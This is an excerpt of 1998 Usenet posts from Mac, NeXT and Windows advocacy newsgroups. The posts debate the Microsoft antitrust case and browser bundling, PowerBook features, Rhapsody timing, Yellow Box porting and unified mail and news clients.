This takes MS's dominance and gives them an unfair advantage in auto
shopping, financial services, airline tickets, even search engines and
custom home pages (Start). In fact, GM's only way to really compete
against MS in a Win98/IE bundled world would be to offer not only a
browser that favors it's web presence, but an OS to run it on that can
compete with Windows. Hardly within GM's realm of competence.
Consider Bill Gate's MicroCab Taxi service that will take you to any store
so long as you provide directions, but they'll take you to any MicroCab
owned store simply by mentioning 'I'd like to buy a car' or an airline
ticket, or whatever. Oh, and for every non-MicroCab taxi that might help
get you an alternate auto-buying store, there are 25 MicroCabs that won't.
I appreciate Bill's desire to help people use the internet to it's
fullest, but he really needs to learn that he doesn't have the best
product for everyone out there and that what he is doing is a great
disservice to the bulk of the population.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Sat, 09 May 1998 17:05:11 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0905981705120001@dialin9013.slip.uci.edu>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com> <6j06jk$pv4$2@newsfep4.sprintmail.com> <6j093p$2th$1@nntp2.ba.best.com> <6j0ant$sph$1@newsfep4.sprintmail.com> <MPG.fbd6e4656c1ea7598968b@news.supernews.com> <joe.ragosta-0905980718280001@elk74.dol.net>
In article <joe.ragosta-0905980718280001@elk74.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <MPG.fbd6e4656c1ea7598968b@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > Which means my home development environment is identical to my office
> > development environment is identical to my hotel room development
> > environment is identical to my travelling development.
> >
> > Which is very cool.
>
> Yep. I'm approaching the point where I may have a single computer -- a
> PowerBook G3. It's not in the budget this year, but I'm going to try for
> it next year. No more transferring files. And with Location Manager,
> configuration for different locations is a breeze.
I agree too. Fortunately the Powerbook _is_ in my budget this year (right
now in fact) and the no-compromises approach means that I have to pay a
bit to get a fully loaded system, but that system should be a good sight
faster than the 266/G3 desktop I have at work and should last me a _long_
time, which I can't say for previous laptops.
The desktop machine is almost dead in my world. Price is the only thing
keeping it alive. Consider the new ixMicro 128bit graphics card so I could
run a 2nd 20" monitor next to the built in 17". I can add Zip and even
another HD or a DVD. I can add video in. I can add 100BaseT. Since the
right bay has a PCI connector in it, I wonder if OrangeMicro isn't
considering a Pentium card for the new Powerbooks... wouldn't that be odd!
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Sat, 09 May 1998 18:13:50 -0700
Message-ID: <see-below-0905981813510001@209.24.240.92>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <ericb-0805981505460001@132.236.171.104> <djboccip-0805981516390001@qburst.msfc.nasa.gov> <6ivsq7$hsu$1@newsfep4.sprintmail.com> <joe.ragosta-0905980716330001@elk74.dol.net>
In article <joe.ragosta-0905980716330001@elk74.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6ivsq7$hsu$1@newsfep4.sprintmail.com>,
macghod@concentric.net wrote:
>
> > This, a compiler which has been stopped and wont be sold nor worked on
> > anymore.
>
> Sort of like the Intel Reference Compiler SPEC results that Wintel fans
> brag about so much?
Besides which, it's already been posted (by an Apple MacOS software
engineer) that Apple _is_ still working on MrC. The rumors of its death
have appearantly been greatly exaggerated.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 09 May 1998 18:31:44 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0905981831450001@dialin9013.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com>
In article <6ivv73$38k$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
> In article <rmcassid-0705980005120001@dialin33419.slip.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) wrote:
> > I don't claim that half a dozen were addressed by the decree, only that
> > they led up to it. There are numerous claims leading up to the current
> > action, only a few are large enough to take a serious stand on. That
> > doesn't mean the others didn't take place. I seem to recall reading quite
> > a few other complaints in some of the documents sent to the DOJ that were
> > not at all addressed.
>
> I could say something about "innocent until proven guilty" but I understand
> your point. What got me concerned was your assumption that the quantity of
> allegations somehow equates to a degree of guilt. This is especially true
> when you made a sweeping generalization without even listing unproven
> claims.
Regardless of whether they were proven or not has no bearing on whether
they are true or not.
> > That was the big one, yes. It would center primarily around anti-trust
> > concerns as MS was using it's market power in ways that would very, very
> > likely be found unconstitutional at certain times in our history. This may
> > not be one of those times, as unfortunately our justices and legistlators
> > position on anti-trust tends to ebb and flow. For example, the aerospace
> > industry will likely be able to establish a monopoly in the interests of
> > military efficiency, and in terms of inter-national competition.
>
> Oops, too late, the ebb and flow has reversed itself already. Lockheed
> Martin was prevented from purchasing Northrop Grumman. Is it possible
> Microsoft got caught up in this pendulum swing?
Could be. Pepsi just filed antitrust against Coca-Cola. I'd guess they
have their finger on the anti-trust pulse as well and timed things
accordingly. The market might have something to do with it actually.
Consider if MS were to tank following a Win98 delay and/or a NT 5 delay -
how much of the market would go with it? Consider that Intel might also
get a suit filed next week as well. We seem to have fewer box makers and
fewer big software houses and more and more dependency on fewer and fewer
resources. That's a bad thing unless it's all artificially propped up like
At&T was which doesn't apply here.
> > My position is simple:
> > competition is like entropy, it takes energy to create order. A single
> > company is a very ordered state, therefore not much energy is being
> > expended. To a market economy, energy is money, therefore competition
> > helps the economy.
>
> Interesting analogy. I suspect we will shortly get into "good" verses "right"
> issues. I say hopefully, because that means we are arguing about the real
> issue.
>
> Let me start by pointing out that, in general, individuals' "rights" should
> not be violated just because it is "good" for society. Wiretapping every
> phone would be "good" for society because it would reduce crime, but we
> don't do it because of the violation of our rights.
>
> Corporations have rights too.
But they aren't individual rights, and they should never come before the
right of the individual. As such, the right of an individual to liberty
should never come second to the right of a corporation to be big and
profitable. In fact, the latter does not exist except in the minds of
corporations. Corporations have few rights regarding success. They have
the freedom in most cases to succeed (some industries don't have this) and
should they succeed they have _nothing_ to point to to enure the
protection of that success. If anything, there are more basic laws
specifically designed to undermine a companies success than there are to
support it. Anti-trust are just such laws.
The industrial revolution brought about a fundamental shift in the
thinking of this country when the rise of corporations and industry
allowed this country to grow militarily, socially, and economically. With
that came a change such that corporations became much more important to
the health of the nation than individuals, and as such, their protection
has come often at the expense of the wellbeing of individuals. Democracy
in this country is slowly dying in favor of a system of government which
is of the corporation, by the corporation, and for the corporation.
Companies have a stronger influence on politics than individuals do. They
have a stronger influence on Congress than individuals do. Campaign
finance reform will never likely happen because it runs against this 150
year old trend of shifting power from individuals to corporations.
However, there is still a balance to be maintained in the near term. We
are not yet ready, nor are we benefitted by a nation in which corporate
rights should primarily come before individuals. Big Tobacco was a swing
of the pendulum back in favor of the individual. We sacrificed and allowed
industry to create this glorious economy, now it's time to give the blue
suits a little kick in the ass and take back what we sacrificed. The
economy will turn back, we'll be a poorer and uncertain but a bit freer,
and in some number of years the whole thing will shift back the other way.
In fact, my thinking is that as the economy becomes more global, we can as
americans take back what we sacrificed and place the burden on other
nations. As an example, while I don't doubt that Big Tobacco will pay
through the ass to fill the state's medical plan coffers and drive down
taxes for individuals, I suspect that there is no way in hell they would
ever be prevented from repeating exactly the same actions against China,
or Japan, or Russia, or Europe. Our economy will hold due to foreign
dollars and the sacrifices of those outside our borders.
We don't want an MS monopoly here, but over there would be just fine,
thank you. That's how I see it falling out. Nobody I know of really
believes in the rights of a corporation.
> > You need to prove intent in a situation like that. MS could just claim
> > that they were idiots. Too tough to pursue.
> >
> Good point. It is close to the one the DOJ argued in 1995.
The case needs to be very clear cut. That's really hard to do with MS,
except maybe for the tie between the MS browser (soon to be OS) and MS
services such as auto buying and plane ticket purchasing. That's a slam
dunk IMO, and the most likely to play out. Mostly because it's easier to
defend the claim that an OS and the auto market are not inherently linked.
Plus the companies that MS is now stomping on (UAL, GM, Citicorp) are big
enough and spend enough in DC to just stomp the crap out of MS. Bill's out
of his league here...
> > And it is that part of the integration section that MS is now extending to
> > ham sandwiches. Doesn't fly.
>
> We are getting to the point. Why can't Microsoft integrate Ham Sandwiches?
> The wording of Section IV obviously implies that Microsoft can integrate
> separate products (otherwise why would the exception clause be in a section
> about separate products). Early DOJ interpretations got into circular
> arguments. They became "separate products can only be integrated if the
> result is one indivisable product". But if the term "integrated products"
> was to mean "one product" then their was no reason for the exception clause.
The decree has no place here. Anti-trust is quite clear that you cannot
use a monopoly position in one market to dominate another market. As such,
MS could not use the OS monopoly to create a monopoly in ham sandwiches.
They cannot use an OS monopoly to create a monopoly in web browsers. They
cannot use an OS monopoly to create an internet services monopoly.
The point of contention with the current case, as I see it, is whether a
browser is sufficiently differentiated enough to be thought of as more
than just an extension to the OS. I had a hard time seeing that
differentiation until I saw how MS was using the browser as a gateway to
their internet services. *Then* it was clear to me what was happening. I'd
hate to think that MS could deep-six Lycos or Yahoo because every Win98
user that clicks on 'Search' or 'Internet Directory' in IE gets shoved
over to 'Start'.
> Nope, the DOJ has to provide a historically defendable reason why Microsoft
> can "integrate" separate products but not Internet Explorer.
Does the market consider them to be separate. I think they do with
explorer. What other thing have they integrated since 1995 that I could
point to? I can't think of a single other thing.
> Pointing to "ham sandwiches" makes for good press, but what legal definition
> (or Consent Agreement words) makes a ham sandwich different and distingishable
> from any other separate product that Microsoft could integrate into Windows95?
It doesn't. Which is why I don't think MS can integrate any other product.
If they want to throw in a disk repair or defrag util, I think the market
would agree that it 'corrects' a flaw in the OS itself. The OS is the
cause of the market, so it should be free to fix the market. But that
doesn't hold to browsers or word processors or ham sandwiches.
> The DOJ gave up arguing against the "ham Sandwich" before the Appellate
> Court. The DOJ had to concede that a separate product was a separate product
> and that Microsoft was allowed to "integrate" separate products.
Assuming they were arguing Concent Decree restrictions and not anti-trust
restrictions.
> > The Supreme Courts involvement is not solely limited to the contract, as
> > it would also apply to a broader anti-trust case. MS is using it's power
> > in the OS marketplace to leverage control of an unrelated market -
> > browsers. The two just happen to coinside - so you pick the easier fight
> > first, that being the consent decree as it has fewer words to argue over,
> > at the very least.
>
> I agree with you. This should be (will soon be?) an anti-trust argument.
> The Contempt Case was simpler. Unfortunately for the DOJ is was also
> wrong. The Consent Decree allows for modifying the agreement. I believe
> the DOJ should have tried that tactic first.
According to the press, will soon be, unless Bill gives in. I agree that
they should have gone for the 'proper' case and not the easy one. MS has
to do a lot more than wording interpretation for anti-trust than for a
broken contract. I think timing was an issue, but now it's almost too
late. I also think the DOJ wants to force MS to actually deal with this
and not just take an easy out like unbundling the browser. Had this come
up last summer, that might have happened. But having it come up now,
that's not realistic without a lot of pain for MS.
> > That would be the anti-trust approach.
>
> Anti-trust, not a violation of the Consent Agreement.
Correct.
> > That would be a generous out to the above. This way MS is not forcing the
> > hand of the market who now have a choice in browsers. Allowing MS to
> > continue to sell a bundled product no longer carries the same implications
> > if they *only* carry a bundled product.
>
> This is a remedy, not a violation. You can't use a remedy to convict.
> This is NOT the remedy described in the Consent Agreement.
No, it would be an anti-trust remedy. It's also a conviction in a sense
since it acknowledges that MS has an OS monopoly, but it prevents them
from having any further monopoly.
> > C. "Microsoft is prohibited from tying two products together unless the
> > added product is a newly developed function integrated into the existing
> > OS."
> > That is an interpretation of the consent apparoach.
>
> We are back to the circular arguments. Functions are not separate products.
> There would be no reason for the exception clause.
A browser is not 'newly defined'. The fact that MS has had in on the
market as an independent product is proof positive of this.
> > The question is whether IE and 95 (or 98) are integrated. I don't see that
> > they are. Rather they seem to be bundled with an API between them. I'd
> > call IE an Operating System Software product that is being licensed. If
> > you have any doubt, MS has the IE license right on their web page.
>
> Sorry, but the question Contact Law asks, "What was agreed to in 1994?"
>
> Was it the understanding Microsoft was allowed to "bundle" two separate
> products an call it an Integrated Product? Microsoft points to MSDOS and
> Windows as an example of what was meant in 1994.
I see a clear difference. Windows WAS a newly defined product for MS-DOS.
It never existed without MS-DOS, and could not exist without MS-DOS. It
was impossible to un-integrate them. That's not the case with IE. IE can
exist quite nicely as a separate product. That could never be said of
Windows.
> > I think they are interested in the bigger ruling, but realize that they
> > can get 80% of what they need for 20% of the effort by taking this route.
>
> I disagree.
Disagree with my assumption of what they want, or what their chances are?
I don't think their chances arguing Concent Decree are very good now. I do
think that was their thinking as anti-trust seems to be upon us this
coming week.
> Thanking for your Thoughtful Arguments,
> David Petticord
Thank you.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Sat, 09 May 1998 18:34:04 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0905981834050001@dialin9013.slip.uci.edu>
References: <6i1ghg$1kn$2@ns3.vrx.net> <B177917C-3EDD9@207.217.155.113> <6iumsv$4f3$8@ironhorse.plsys.co.uk> <6ivv6u$k1g$1@nnrp2.snfc21.pbi.net>
In article <6ivv6u$k1g$1@nnrp2.snfc21.pbi.net>, "Mark Micklich"
<SRFPCI1@pacbell.net> wrote:
> This is a quote from www.apple.com regarding Rhapsody...
>
> "The unified release of Rhapsody is scheduled for shipment in mid 1998."
>
> What is considered mid-1998? June thru July?
MS's definition would be June through 2001. But I'd extend Apple's to the
end of August. Given the timing of things, I'd say MacWorld New York for
both the iMac and Rhapsody are a good bet.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 09 May 1998 18:39:56 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0905981839570001@dialin9013.slip.uci.edu>
References: <6ip03a$di9$1@crib.bevc.blacksburg.va.us> <6itjb5$hq0$1@nntp3.interaccess.com> <6iugi6$4f3$7@ironhorse.plsys.co.uk> <rmcassid-0805981234220001@dante.eng.uci.edu> <6j1u0f$l63$1@crib.bevc.blacksburg.va.us>
In article <6j1u0f$l63$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <rmcassid-0805981234220001@dante.eng.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
>
> > Doesn't matter. AppleVision offers a small volume indicator that pops up
> > on your monitor when you push the buttons. I adjust the volume on mine via
> > the buttons on the monitor and get both auditory and visual feedback. Tons
> > of Macs work like this.
>
> > I say put both controls in.
>
> I don't think many people argue against _more_ options, as long as the
> options they don't want don't have to be visible to them, and they don't
> have to pay extra for them. (This could present a problem with keyboard
> keys for people who want a smaller keyboard profile, since those can't
> be removed.. but IMHO that's usually not a terribly big concern and
> you can always get rid of some useless legacy keys anyway..)
Actually, there's always *tons* of space for utility keys like these. The
ones on my Apple Adjustable Keyboard ar smaller than a tic-tac. Even a
teeny-tiny keyboard should have space for a few teeny-tiny buttons. We
don't need to touch-type with them, after all...
Seems like an *ideal* thing to introduce with USB keyboards. Let's set a
standard here.
-Bob Cassidy
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
<MPG.fbe216587510224989691@news.supernews.com>
Message-ID: <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
Date: Sat, 09 May 1998 20:01:08 GMT
NNTP-Posting-Date: Sat, 09 May 1998 13:01:08 PDT
Organization: @Home Network
In <MPG.fbe216587510224989691@news.supernews.com> Donald Brown wrote:
> In article <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>,
> rriley@yahoo.com says...
> > If the good professor isn't bought and paid for, he is only guilty of
having
> > fallen for the MS mantra of "freedom". I fell for this freedom ring for
> > about 30 sec. until I realised our Founding Fathers crafted the
Constitution
> > around the fundamental principle of Freedom for "People". What Freedom
Dear
> > Mr. Mankiw do People have when this free and unfettered market economy of
> > yours and MS only supports a choice of one, Microsoft? Does Corporate
freedom
> > replace Individual freedom in America?
> >
> Bill Gates is an Individual. Everyone who works at Microsoft, or at the
> various computer makers, are Individuals. Those who bought Wintel
> machines were Individuals uing their freedom to pick what system to use.
>
>
You're confused... and mixing metaphors, Microsoft depends upon confusion.
Yes BG is an individual. His freedoms are protected as are all others working
and buying MS product. Microsoft behavior is on the table for discussion.
Micoroft is a corporate entity a virtual individual created by an act of law.
It's freedoms are held to a different standard than that of the individual.
Don't confuse the actions of Microsoft to be the cumulative acts of the
individuals therein. Important distinction.
> Microsoft should be punished for the laws they have broken. But, that's
> all they should be punished for. If they're punished for being
> successful, that's wrong.
>
>
Before Microsoft was the "Standard" OS the Business World demanded that all
the various systems standardize their formats for wordprocessing, spreadsheet,
mail, etc... Microsoft didn't make any more an effort to create standards,
instead the World saw that MS was willing to be "the" standard. Microsoft has
been very successful creating and maintaining the "standard". They should not
be punished for that, I agree.
What they now undertake is to usurp the market's choice of determining future
standards by integrating and extending Windows standand OS as the future
standard. That MS has deconstructed componentization and modularization of is
software into a now integrated OS which cannot work without IE4.x is what they
should be punished for.
Even if you build mail client software for the Windows platforms that
architectural change restricts your freedoms as a Vendor to choose to treat
all browser clients equally. I object as a professional to this move as it
reduces further the "access" of non-Microsoft vendors to the marketplace. And
I object as an individual because I am not at Liberty to pursue non-Microsoft
software solutions. Doing so is at the cost and expense of being non-standard
and losing access to data, information and content for which non-Micorsoft
applications cannont share.
I have nothing wrong with standards. Standard API's, formats, etc...
encourage the free and unfettered choice of the marketplace to determine
success. Hence, Microsoft impinges upon my Civil Right to free speech. I and
other non-Microsoft users of computing technology are continually faced with
lack of compatibiltiy to information, access to information and ultimately the
full and complete expression of individual speech.
Microsoft has its ways of making certain that their standard applications are
available unfettered and freely usalbe on their OS. Word for Mac missing
ACCESS. Java on Windows is non-standard Java. Active-X websites ala WSJ
offer different content access controls. etc....
Not to mention the fact that it is Business Suicide to build a BusinessPlan
without Microsoft an integral part of any software enterprise. Venture
funding simply isn't available... The world would be different, with free
access to information and markets without the Standards of Microsoft holding
the process of "Free Choice" hostage to their beta cycles.
-r
From: fishhack@NOSPAM.transport.com (Dave Hassler)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Sat, 09 May 1998 19:44:23 -0700
Organization: Emiline Music
Message-ID: <fishhack-0905981944240001@bend3-72.transport.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <1d8p8e2.14z9x3g1sihky4N@p002.intchg2.net.ubc.ca>
In article <1d8p8e2.14z9x3g1sihky4N@p002.intchg2.net.ubc.ca>,
bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
> As it is some journalists are still using the old TRS-80, a positively
> archaeological artefact, simply because no-one has yet managed to supply
> the super-rugged, diskless "portable typewriter" appliance of the 90s.
I resemble that remark! :^)
I'm a sports writer and frequently go on the road for stories. When it
"absolutely, positively" has to be there that night before deadline, I use
my good ol' Tandy Model 100 w/ the 300 baud modem. The keyboard is *way*
better than the PB150 I have, and I can go for about 18 hrs with the 4 AA
batteries in the thing, *including using the modem.*
I love my Macs (IIX, Portable, and the PB), but I'd *kill* for a cheap PB
around $500 that didn't feel as if it would disintegrate if dropped. And
the keyboard....we won't go into that. I've dropped the M100, sat on it,
kicked it (accidently, of course!), spilled beer on it, etc. In seven
years of use (bought it used in '91 for $20), it's failed but once.
Please, Apple, here's the wish list of a professional journalist: 1)
Highest-impact plastic you can find for the case, and make it thick for us
klutzes. 2) Full-travel, full-size keyboard; I'll give up an inch or two
and an oz. or two to make that a reality. 3) A flash memory card in
addition to a 1.44 floppy. That'd kill the hard drive, a major power
consumer. 4) Passive matrix screen: we're journalists, word-guys, not
hyperactive teen net surfers. Both of the last two mentioned "features"
would help with 5) battery life. I absolutely *have* to have six hours of
battery life. Ever tried covering a college basketball game? Taking
notes during the game is a good 2.5 hours right there. So much for a PB
battery! Then I have to actually *write* the story. *Then* I sometimes
have to find a phone to use to send my story in that's nowhere *near* an
outlet. 6) a decent modem, but nothing in the ultra-latest. What's the
point? I usually send no more than 10kB of file. If you could hook up a
digital camera to a serial port, that's be even better! Sure, files would
get bigger, but 28.8 is more than sufficient if the text is about 10kB and
the image is about 400kB. 7) Firmware. A solid text editing package
without the paginating bells and whistles would be perfect. Also, a good,
but basic, terminal program. Finally, a small e-mail client and web
browser. Nothing else.
Apple, if you can give me these things and give them to me for $500, I
will don my robe, grab my rice bowl, and spread the gospel at every
sporting event I cover.
--
Dave
fishhack, guitar player, volleyball coach, ex-FidoNet sysop (105/240),
BlueJays/Power fan, etc.
PS: remove "NOSPAM" in address to reply via e-mail.
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8s19f.1dpppkx1rkzijpN@roxboro0-034.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.eng.uci.edu> <6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <6iv3d3$ekq$1@ns3.vrx.net> <1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net> <6ivb91$k58$1@ns3.vrx.net> <1d8q0gm.jldhvbdc935N@roxboro0-034.dyn.interpath.net> <35549C58.8FD7384A@nstar.net>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Sun, 10 May 1998 00:48:56 GMT
NNTP-Posting-Date: Sat, 09 May 1998 17:48:56 PDT
Michael J. Peck <mjpeck@nstar.net> wrote:
> John Moreno wrote:
>
> [cut]
>
> > > Which is also handled perfectly in any good program! Do not allow
> > > autoreplies to newsgroups. Done.
> >
> > WHAT!!! But that implies that there is a DIFFERENCE between mail and
> > news! You can't DO that, they ARE the SAME.
>
> WHAT yourself! Nobody here has ever claimed that mail and news are the
> same; to say such is a gross misrepresentation and, in my opinion, an
> attempt to confuse and deliberately derail conversation.
Maury has said "All this to enforce a historical difference based on
delivery method?"
This implied to me that he thought the only difference between the two
is delivery method, and other than that they are the same. Or at least
that was the trend of what he was implying.
> > Or maybe they aren't and the fact that they have historically been
> > separate wasn't just a accident.
>
> Nobody has claimed that it was an accident, just a mistake.
Fine, but I don't think it was either - just simpler.
> [cut]
>
> > Then why the hell are you disallowing autoreplies to newsgroups?
> > Thinking "inside the box" again, I see.
>
> What, in God's name, does this have to do with unifying a user
> interface? This is such a trivial argument, and I can't believe it
> hasn't been thrown out yet. Let's fix that.
>
-snip cd vs hd exaample-
>
-snip printing vs fax example-
-snip launching doc vs app example-
> It is distinctly *ridiculous* to argue that on the basis of a tiny
> functional difference (and one, especially, that is based not on
> necessity but on prudence) two large, conglomerate activities (mail- and
> news- reading and posting) are fundamentally different and deserve
> fundamentally different interface treatment. Note that I don't call
> *you* ridiculous - I personally think that this argument is intended to
> _confuse_ rather than _enlighten_ the discussion.
The differences may be slight but they have to be accounted for - which
is all I'm trying to say. And the differences aren't simply limited to
just "the delivery method".
> > There are real differences. A simple one is that (IMO at least) mail is
> > better viewed where mailboxes and the subjects are in a paned view,
> > while news is better viewed with a window for each group. Why? Because
> > you don't typically do a lot of moving around of articles in newsgroups
> > while you do with messages in mailboxes, and I think it's better to not
> > have to worry about the focus for newsgroups.
>
> By focus, do you mean input focus?
Of course.
> If so, I think it's extremely important who has the focus. I'm tired of
> running a mail client in Windows, opening a newsgroup, then opening a
> message, and upon using my arrow keys to scroll down the message, finding
> that the focus is still in the message listing rather than in my new
> message.
Yes, that's the kind of thing I was talking about. Not exactly, but
close.
> This problem could be avoided by using separate windows and yet could
> still be done in such a way that it appreciates use of the keyboard
> (rather than massive use of the mouse, seemingly the preferred mode of
> operation in news clients today).
What I was pointing out that there are similarities between newsgroups
and mailboxes, but there are differences too. What works with 50
messages in a mailbox doesn't work quite the same way with 10,000
messsages.
> > Threading is good for news - and in mail (with the exception of mailing
> > list) it is at for the most part unnecessary.
>
> So what? You would deny an email client the use of threading in 5% of
> all cases because it is useless for the other 95%? What possible harm
> can it cause for an email client to have the associative benefits of
> newsgroup threading?
No harm at all - but I would prefer that a mail agent work on filtering
and working with multiple accounts or users, or setting priorities or
url recognition, or coloring or, hell just about anything else.
> > I don't say it's unwise to combine the two - as long as the very real
> > difference are kept in mind.
>
> That is precisely the problem: the differences you describe quite often
> don't apply to me at all. Why do I want my messaging client telling *me*
> what mail and news are for? It just ends up being *you* telling me what
> they're for, anyway, by rule of majority or whatever process causes the
> particular manufacture of this mythical "proper" unified mail/news
> client. What I want is a unified client that doesn't try to enforce
> *any* differences, that's the whole point of the discussion. I want to
> decide what the differences are *myself* and act accordingly.
Sending cancel and supersedes messages to people?
I know you can't *prevent* this from happening, but it needs to not
facilitate it.
> > I will say I think it's more likely for a person focused on just news or
> > just mail to create a better mail or news experience than someone
> > splitting their attention between the two.
>
> Perhaps someone who has a robust understanding of the overarching
> messaging topic can leverage the strengths of both activities to create
> a truly superior unified client. Last time I checked, writing a
> mail/news client wasn't the sort of thing requiring a massive budget and
> a cast of thousands. "Splitting attention" isn't the sort of thing that
> worries most developers when it comes to something like an email client.
Maybe someone can - but until *that* happens, I think saying that a
unified product is more likely to be better is wrong (not to mention
premature).
--
John Moreno
From: karl@ensuing.com (Karl Kraft)
Newsgroups: comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Date: 10 May 1998 03:03:19 GMT
Organization: Ensuing Technologies
Message-ID: <6j35dn$4om@satva.ensuing.com>
References: <6j2460$skr$1@news.xmission.com>
In article <6j2460$skr$1@news.xmission.com> don@misckit.com (Don Yacktman)
writes:
> Porting between Rhapsody/Machs is trivial--just check a button when you
> compile and you are done.
This is of course only true for non-processor specific languages. Since Zone
Raiders is a 3D simulation, it's entirely possible that the developers wrote
non-significant chucks in PPC assembly, or perhaps used a rendering engine that
was ported from Mac OS.
> Porting between Yellow Boxes (ie, Mach and
> Windows) is tougher--but mostly that only happens if you _stray_ from the
> Yellow APIs.
While I fully agree that porting YellowBox code between OSes and platforms is
truly trivial, and that anything that is not YellowBox is going to be a more
sticky issue, it is important to realize that Yellow Box doesn't do everything.
The biggest multi-platform issue with Yellow Box is the fact that the classes
are tuned towards enterprise projects, not towards consumer projects. There is
no yellow box solution for playing sound for instance. If your program in
Yellow Box uses the joystick port on a Windows PC, it's not going to port
trivially to using a Mac Joystick.
When you consider that in most enterprises, the choice of platform is a
corporate edict, OpenStep made sense so that NeXT could sell onto any platform.
As a long term sleeper to get people to move from Wintel to Macintosh, the
reason and support for cross platform compatibility is totally different.
I have full hope and faith that these issues will be resolved over time by
Apple if sufficent numbers of developers make it clear that these are needs
that Apple must solve to get developers writing code in Yellow Box.
--K2
karl@ensuing.com (Karl Kraft)
OpenStep/Rhapsody Developer: cogitamus alius.
From: Anders Ohlsson <anders@common.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sun, 10 May 1998 04:29:19 +0200
Organization: substandard
Message-ID: <355510E0.C6EA1E62@common.se>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <joe.ragosta-0905980801580001@elk74.dol.net> <35546B10.3F19EE93@common.se> <joe.ragosta-0905981410110001@elk55.dol.net>
Mime-Version: 1.0
